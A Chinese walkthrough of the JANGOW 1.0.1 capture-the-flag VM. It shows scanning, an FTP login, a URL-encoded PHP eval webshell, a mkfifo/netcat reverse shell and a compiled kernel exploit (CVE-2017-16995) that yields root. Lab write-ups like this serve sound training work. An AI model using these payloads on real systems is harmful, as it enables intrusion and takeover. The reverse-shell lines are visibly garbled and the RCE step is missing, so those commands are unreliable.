红队打靶练习:JANGOW: 1.0.1
目录
信息收集
1、arp探测
2、netdiscover
3、nmap扫描
4、目录扫描
WEB
1、80端口
2、21端口
ssh登录
1、写入shell
2、反弹shell
提权
Get shell
信息收集
1、arp探测
┌──(root㉿ru)-[~/lianxi]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.16.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.16.1 00:50:56:c0:00:08 VMware, Inc.
192.168.16.2 00:50:56:e6:0b:60 VMware, Inc.
192.168.16.129 00:0c:29:66:12:08 VMware, Inc.
192.168.16.254 00:50:56:e6:5c:c0 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.361 seconds (108.43 hosts/sec). 4 responded
2、netdiscover
netdiscover工具
Currently scanning: 172.26.56.0/16 | Screen View: Unique Hosts
37 Captured ARP Req/Rep packets, from 4 hosts. Total size: 2220
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.16.1 00:50:56:c0:00:08 33 1980 VMware, Inc.
192.168.16.2 00:50:56:e6:0b:60 2 120 VMware, Inc.
192.168.16.129 00:0c:29:66:12:08 1 60 VMware, Inc.
192.168.16.254 00:50:56:e6:5c:c0 1 60 VMware, Inc.
3、nmap扫描
端口扫描
└─# nmap -p- 192.168.16.129
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 12:25 CST
Nmap scan report for 192.168.16.129
Host is up (0.00022s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 00:0C:29:66:12:08 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 104.69 seconds
┌──(root㉿ru)-[~/lianxi]
└─# cat xx.nmap
# Nmap 7.94 scan initiated Thu Oct 12 12:29:48 2023 as: nmap -sS -sC -sV -A -T4 -p 21,80 -oA /root/lianxi/xx 192.168.16.129
Nmap scan report for 192.168.16.129
Host is up (0.00019s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-06-10 18:05 site/
|_
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 00:0C:29:66:12:08 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.16 - 4.6 (97%), Linux 3.2 - 4.9 (97%), Linux 4.4 (97%), Linux 3.13 (94%), Linux 4.2 (94%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Linux 5.1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Unix
TRACEROUTE
HOP RTT ADDRESS
1 0.19 ms 192.168.16.129
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 12 12:30:04 2023 -- 1 IP address (1 host up) scanned in 15.33 seconds
4、目录扫描
dirb
┌──(root㉿ru)-[~/lianxi]
└─# dirb http://192.168.16.129:80 -w php,txt,html,js,sh
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Oct 12 13:55:01 2023
URL_BASE: http://192.168.16.129:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Stopping on warning messages
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.16.129:80/ ----
+ http://192.168.16.129:80/server-status (CODE:403|SIZE:279)
==> DIRECTORY: http://192.168.16.129:80/site/
---- Entering directory: http://192.168.16.129:80/site/ ----
==> DIRECTORY: http://192.168.16.129:80/site/assets/
==> DIRECTORY: http://192.168.16.129:80/site/css/
+ http://192.168.16.129:80/site/index.html (CODE:200|SIZE:10190)
==> DIRECTORY: http://192.168.16.129:80/site/js/
==> DIRECTORY: http://192.168.16.129:80/site/wordpress/
---- Entering directory: http://192.168.16.129:80/site/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
+ http://192.168.16.129:80/site/assets/favicon.ico (CODE:200|SIZE:23462)
==> DIRECTORY: http://192.168.16.129:80/site/assets/img/
---- Entering directory: http://192.168.16.129:80/site/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.16.129:80/site/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.16.129:80/site/wordpress/ ----
+ http://192.168.16.129:80/site/wordpress/index.html (CODE:200|SIZE:10190)
---- Entering directory: http://192.168.16.129:80/site/assets/img/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Thu Oct 12 14:00:43 2023
DOWNLOADED: 32284 - FOUND: 4
dirsearch
┌──(root㉿ru)-[~]
└─# dirsearch -u http://192.168.16.129:80 -e*
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 30 | Wordlist size: 15490
Output File: /root/.dirsearch/reports/192.168.16.129-80/_23-10-12_13-55-02.txt
Error Log: /root/.dirsearch/logs/errors-23-10-12_13-55-02.log
Target: http://192.168.16.129:80/
[13:55:02] Starting:
[13:55:03] 200 - 336B - /.backup
[13:55:03] 403 - 279B - /.ht_wsr.txt
[13:55:03] 403 - 279B - /.htaccess.bak1
[13:55:04] 403 - 279B - /.htaccess.sample
[13:55:04] 403 - 279B - /.htaccess_orig
[13:55:04] 403 - 279B - /.htaccess_extra
[13:55:04] 403 - 279B - /.htaccess.orig
[13:55:04] 403 - 279B - /.htaccess_sc
[13:55:04] 403 - 279B - /.htaccessOLD
[13:55:04] 403 - 279B - /.htaccess.save
[13:55:04] 403 - 279B - /.htaccessBAK
[13:55:04] 403 - 279B - /.htaccessOLD2
[13:55:04] 403 - 279B - /.htm
[13:55:04] 403 - 279B - /.html
[13:55:04] 403 - 279B - /.httr-oauth
[13:55:04] 403 - 279B - /.htpasswds
[13:55:04] 403 - 279B - /.htpasswd_test
[13:55:04] 403 - 279B - /.php3
[13:55:04] 403 - 279B - /.php
[13:55:34] 403 - 279B - /server-status
[13:55:34] 403 - 279B - /server-status/
[13:55:36] 301 - 315B - /site -> http://192.168.16.129/site/
[13:55:36] 200 - 10KB - /site/
Task Completed
gobuster
┌──(root㉿ru)-[/usr/share/dirbuster/wordlists]
└─# gobuster dir -u http://192.168.16.129:80 -x php,txt,html,js,sh -w directory-list-lowercase-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.16.129:80
[+] Method: GET
[+] Threads: 10
[+] Wordlist: directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html,js,sh
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 279]
/.php (Status: 403) [Size: 279]
/site (Status: 301) [Size: 315] [--> http://192.168.16.129/site/]
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1245858 / 1245864 (100.00%)
===============================================================
Finished
==============================================================
feroxbuster
┌──(root㉿ru)-[/usr/share/dirbuster/wordlists]
└─# feroxbuster -u http://192.168.16.129:80 -x php,txt,html,js,sh -w directory-list-lowercase-2.3-medium.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.10.0
───────────────────────────┬──────────────────────
Target Url │ http://192.168.16.129:80
Threads │ 50
Wordlist │ directory-list-lowercase-2.3-medium.txt
Status Codes │ All Status Codes!
Timeout (secs) │ 7
User-Agent │ feroxbuster/2.10.0
Config File │ /etc/feroxbuster/ferox-config.toml
Extract Links │ true
Extensions │ [php, txt, html, js, sh]
HTTP methods │ [GET]
Recursion Depth │ 4
───────────────────────────┴──────────────────────
Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 315c http://192.168.16.129/site => http://192.168.16.129/site/
200 GET 106l 659w 26989c http://192.168.16.129/site/assets/img/demo-image-01.jpg
200 GET 54l 134w 1644c http://192.168.16.129/site/js/scripts.js
200 GET 492l 2733w 186437c http://192.168.16.129/site/assets/img/demo-image-02.jpg
200 GET 1l 0w 1c http://192.168.16.129/site/busque.php
200 GET 949l 4824w 385662c http://192.168.16.129/site/assets/img/bg-masthead.jpg
200 GET 8l 29w 28898c http://192.168.16.129/site/assets/favicon.ico
200 GET 11253l 21663w 207746c http://192.168.16.129/site/css/styles.css
200 GET 679l 4637w 425261c http://192.168.16.129/site/assets/img/ipad.png
200 GET 173l 663w 10190c http://192.168.16.129/site/index.html
200 GET 2608l 13994w 956051c http://192.168.16.129/site/assets/img/bg-signup.jpg
301 GET 9l 28w 322c http://192.168.16.129/site/assets => http://192.168.16.129/site/assets/
301 GET 9l 28w 319c http://192.168.16.129/site/css => http://192.168.16.129/site/css/
301 GET 9l 28w 325c http://192.168.16.129/site/wordpress => http://192.168.16.129/site/wordpress/
200 GET 1l 1w 2c http://192.168.16.129/site/123.php
200 GET 173l 663w 10190c http://192.168.16.129/site/wordpress/index.html
301 GET 9l 28w 318c http://192.168.16.129/site/js => http://192.168.16.129/site/js/
200 GET 1l 10w 87c http://192.168.16.129/site/wordpress/config.php
200 GET 44l 346w 26169c http://192.168.16.129/site/exp
[####################] - 5m 2491854/2491854 0s found:19 errors:1
[####################] - 0s 1245774/1245774 73280824/s http://192.168.16.129:80/ => Directory listing
[####################] - 5m 1245774/1245774 4008/s http://192.168.16.129/site/
[####################] - 0s 1245774/1245774 4847370/s http://192.168.16.129/site/assets/ => Directory listing
[####################] - 0s 1245774/1245774 6591397/s http://192.168.16.129/site/js/ => Directory listing
[####################] - 1s 1245774/1245774 1338103/s http://192.168.16.129/site/assets/img/ => Directory listing
[####################] - 1s 1245774/1245774 1832021/s http://192.168.16.129/site/css/ => Directory listing
[####################] - 5m 1245774/1245774 3986/s http://192.168.16.129/site/wordpress/
WEB
1、80端口
2、21端口
┌──(root㉿ru)-[~/lianxi]
└─# ftp
ftp> open 192.168.16.129
Connected to 192.168.16.129.
220 (vsFTPd 3.0.3)
Name (192.168.16.129:root): jangow01
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||17403|)
150 Here comes the directory listing.
drwxr-xr-x 3 0 0 4096 Oct 31 2021 .
drwxr-xr-x 14 0 0 4096 Jun 10 2021 ..
drwxr-xr-x 3 0 0 4096 Oct 31 2021 html
226 Directory send OK.
ftp> pwd
Remote directory: /var/www
ftp> cd home
550 Failed to change directory.
ftp> ls
229 Entering Extended Passive Mode (|||27583|)
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Jun 10 2021 jangow01
ftp> cd jangow01
250 Directory successfully changed.
ftp> ls -al
229 Entering Extended Passive Mode (|||12012|)
150 Here comes the directory listing.
drwxr-xr-x 4 1000 1000 4096 Jun 10 2021 .
drwxr-xr-x 3 0 0 4096 Oct 31 2021 ..
-rw------- 1 1000 1000 200 Oct 31 2021 .bash_history
-rw-r--r-- 1 1000 1000 220 Jun 10 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jun 10 2021 .bashrc
drwx------ 2 1000 1000 4096 Jun 10 2021 .cache
drwxrwxr-x 2 1000 1000 4096 Jun 10 2021 .nano
-rw-r--r-- 1 1000 1000 655 Jun 10 2021 .profile
-rw-r--r-- 1 1000 1000 0 Jun 10 2021 .sudo_as_admin_successful
-rw-rw-r-- 1 1000 1000 33 Jun 10 2021 user.txt
226 Directory send OK.
ftp> cat user.txt
?Invalid command.
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||33573|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |*******************************************************************************************| 33 5.12 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (4.60 KiB/s)
ftp>
zsh: suspended ftp
┌──(root㉿ru)-[~/lianxi]
└─# ls
port.gnmap port.nmap port.xml user.txt xx.gnmap xx.nmap xx.xml
┌──(root㉿ru)-[~/lianxi]
└─# cat user.txt
d41d8cd98f00b204e9800998ecf8427e 第一个flag
ssh登录
1、写入shell
利用存在RCE页面进行反弹shell
echo '' >shell.php
url编码
echo%20'%3C%3Fphp%20echo%20%22OK%EF%BC%81%22%3Beval(%24_POST%5Bcmd%5D)%3B%20%3F%3E'%20%3E987.php
连接蚁剑即可
2、反弹shell
在靶机目录（/etc/ssh/ssh_config）找到文件，文件开启了22端口，但是工具并没有扫到，说明可能被防火墙拦截了，做了限制，所以我们进行反弹shell要使用特制的shell脚本。
# This is the ssh client system-wide configuration file. See
# ssh_config(5) for more information. This file provides defaults for
# users, and the values can be changed in per-user configuration files
# or on the command line.
# Configuration data is parsed as follows:
# 1. command line options
# 2. user-specific file
# 3. system-wide file
# Any configuration value is only changed the first time it is set.
# Thus, host-specific definitions should be at the beginning of the
# configuration file, and defaults at the end.
# Site-wide defaults for some commonly used options. For a comprehensive
# list of available options, their meanings and defaults, please see the
# ssh_config(5) man page.
Host *
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# RhostsRSAAuthentication no
# RSAAuthentication yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP yes
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/identity
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Protocol 2
# Cipher 3des
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,[email protected],hmac-ripemd160
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
GSSAPIDelegateCredentials no
使用 mkfifo 命令创建命名管道反弹shell
语法
mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 1024 >/tmp/f
&1|nc 192.168.16.129 443 >/tmp/f");?>
┌──(root㉿ru)-[~/lianxi]
└─# nc -lvvp 443
listening on [any] 443 ...
192.168.16.129: inverse host lookup failed: Unknown host
connect to [192.168.16.128] from (UNKNOWN) [192.168.16.129] 37342
/bin/sh: 0: can't access tty; job control turned off
$ whereis python
python: /usr/bin/python3.5 /usr/bin/python3.5m /usr/lib/python2.7 /usr/lib/python3.5 /etc/python3.5 /usr/local/lib/python3.5 /usr/share/python
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@jangow01:/var/www/html/site$ pwd
pwd
/var/www/html/site
www-data@jangow01:/var/www/html/site$ uname -a
uname -a
Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@jangow01:/var/www/html/site$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
www-data@jangow01:/var/www/html/site$
提权
┌──(root㉿ru)-[~/lianxi]
└─# nc -lvvp 443
listening on [any] 443 ...
192.168.16.129: inverse host lookup failed: Unknown host
connect to [192.168.16.128] from (UNKNOWN) [192.168.16.129] 37342
/bin/sh: 0: can't access tty; job control turned off
$ whereis python
python: /usr/bin/python3.5 /usr/bin/python3.5m /usr/lib/python2.7 /usr/lib/python3.5 /etc/python3.5 /usr/local/lib/python3.5 /usr/share/python
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@jangow01:/var/www/html/site$ pwd
pwd
/var/www/html/site
www-data@jangow01:/var/www/html/site$ uname -a
uname -a
Linux jangow01 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@jangow01:/var/www/html/site$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04
Codename: xenial
www-data@jangow01:/var/www/html/site$
┌──(root㉿ru)-[~/lianxi]
└─# searchsploit Ubuntu 4.4.0-31
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Esca | windows_x86-64/local/47170.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escal | linux/local/47169.c
Ubuntu < 15.10 - PT Chown Arbitrary PTs Access Via User Namespace Privilege Escalation | linux/local/41760.txt
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root㉿ru)-[~/lianxi]
└─# searchsploit Ubuntu 16.04.1
---------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privilege Escalation | linux/local/40489.txt
---------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿ru)-[~/lianxi]
└─# searchsploit Ubuntu 16.04
---------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------- ---------------------------------
Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution | linux/local/40937.txt
Exim 4 (Debian 8 / Ubuntu 16.04) - Spool Privilege Escalation | linux/local/40054.c
Google Chrome (Fedora 25 / Ubuntu 16.04) - 'tracker-extract' / 'gnome-video-thumbnailer' + 'totem' | linux/local/40943.txt
LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation | linux/local/41923.txt
Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - | linux_x86-64/local/42275.c
Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23/24/25) - 'ldso_dynamic Stack C | linux_x86/local/42276.c
Linux Kernel (Ubuntu 16.04) - Reference Count Overflow Using BPF Maps | linux/dos/39773.txt
Linux Kernel 4.14.7 (Ubuntu 16.04 / CentOS 7) - (KASLR & SMEP Bypass) Arbitrary File Read | linux/local/45175.c
Linux Kernel 4.4 (Ubuntu 16.04) - 'BPF' Local Privilege Escalation (Metasploit) | linux/local/40759.rb
Linux Kernel 4.4 (Ubuntu 16.04) - 'snd_timer_user_ccallback()' Kernel Pointer Leak | linux/dos/46529.c
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation | linux_x86-64/local/40871.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter 'target_offset' Out-of-Bounds Privilege Escala | linux_x86-64/local/40049.c
Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x64) - 'AF_PACKET' Race Condition Privilege Es | windows_x86-64/local/47170.c
Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' bpf(BPF_PROG_LOAD) Privilege Escalation | linux/local/39772.txt
Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privilege Escalation | linux/local/40489.txt
Linux Kernel 4.8 (Ubuntu 16.04) - Leak sctp Kernel Pointer | linux/dos/45919.c
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux_x86-64/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SME | linux/local/43418.c
Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Esc | linux/local/47169.c
---------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿ru)-[~/lianxi]
└─# searchsploit -m 45010.c
Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45010
Path: /usr/share/exploitdb/exploits/linux/local/45010.c
Codes: CVE-2017-16995
Verified: True
File Type: C source, ASCII text
Copied to: /root/lianxi/45010.c
然后把poc扔进蚁剑，随后进行下一步操作
www-data@jangow01:/var/www/html/site$ ls
ls
45010.c assets css index.html wordpress
987.php busque.php ffshell.php js
www-data@jangow01:/var/www/html/site$ gcc 45010.c -o exp //编译
gcc 45010.c -o exp
www-data@jangow01:/var/www/html/site$ ls
ls
45010.c assets css ffshell.php js
987.php busque.php exp index.html wordpress
www-data@jangow01:/var/www/html/site$ chmod +x exp 赋权
chmod +x exp
www-data@jangow01:/var/www/html/site$ ./exp
./exp
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003a782d00
[*] Leaking sock struct from ffff880039ff7680
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880039444900
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff880039444900
[*] credentials patched, launching shell...
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
Get shell
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# pwd
pwd
/var/www/html/site
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt
@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&
@ @@@@@@@@@@@@@@@&# #@@@@@@@@&(. /&@@@@@@@@@@
@ @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@& .&@@@@@
@ @@@@@@@& @@@@@@&@@@@@&%######%&@* ./@@* &@@
@ @@@@@* (@@@@@@@@@#/. .*@. .#&. &@@@&&
@ @@@, /@@@@@@@@#, .@. ,&, @@&&
@ @& @@@@@@@@#. @@@,@@@/ %. #, %@&
@@@# @@@@@@@@/ .@@@@@@@@@@ * ., @@
@@& @@@@@@@@* @@@@@@@@@@@ , @
@& .@@@@@@@( @@@@@@@@@@@@@@@@@@@@@ *. &@
@@/ *@@@@@@@/ @@@@@@@@@@@# @@
@@ .@@@@@@@/ @@@@@@@@@@@@@ @# @@
@@ @@@@@@@@. @@@@@@@@@@@ @@( @@
@& .@@@@@@@@. , @@@@@@@ * .@@@*( .@
@@ ,@@@@@@@@, @@@@@@@@@&*%@@@@@@@@@, @@@@@(%&* &@
@@& @@@@@@@@@@@@@@@@@ (@@@@@@@@@@@@@@%@@/ &@
@ @& ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%* &@
@ @@. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%* &@&
@ @@@& ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/ &@@&&
@ @@@@@@. *%@@@@@@@@@@@@@@@@@@@@&#/. &@@@@&&
@ @@@@@@@@& JANGOW &@@@
@ &&&&&&&&&@@@& @@(&@ @. %.@ @@%@ &@@@&&&&
&&&@@@@&% &/ (&&@@@&&&
(((((((((((((((((((((((((((((
da39a3ee5e6b4b0d3255bfef95601890afd80709 第二个flag